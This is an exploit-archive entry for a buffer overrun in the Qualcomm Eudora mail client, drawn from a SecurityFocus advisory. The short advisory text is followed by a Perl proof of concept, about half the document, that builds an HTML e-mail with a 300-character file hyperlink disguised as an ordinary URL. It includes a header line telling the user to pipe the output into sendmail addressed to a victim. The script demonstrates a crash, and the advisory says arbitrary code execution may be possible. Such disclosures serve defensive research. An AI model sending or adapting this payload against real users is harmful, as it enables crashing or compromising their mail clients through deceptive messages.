Qualcomm Eudora 5.2.1/6.x - Embedded Hyperlink Buffer Overrun

source: https://www.securityfocus.com/bid/10298/info

Qualcomm Eudora is reported to be prone to a remotely exploitable buffer overrun vulnerability.

The issue is exposed when an excessively long hyperlink to a file resource is embedded in an HTML e-mail. This may permit remote attackers to execute arbitrary code via malicious e-mail in the context of the client user.

This issue was reported in Eudora on Windows platforms. Eudora for Apple Mac operating systems may be similarly affected, though this has not been confirmed.

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<x-html>\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "</x-html>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n";
print "is for comparison: the user can hardly tell them apart.\n\n";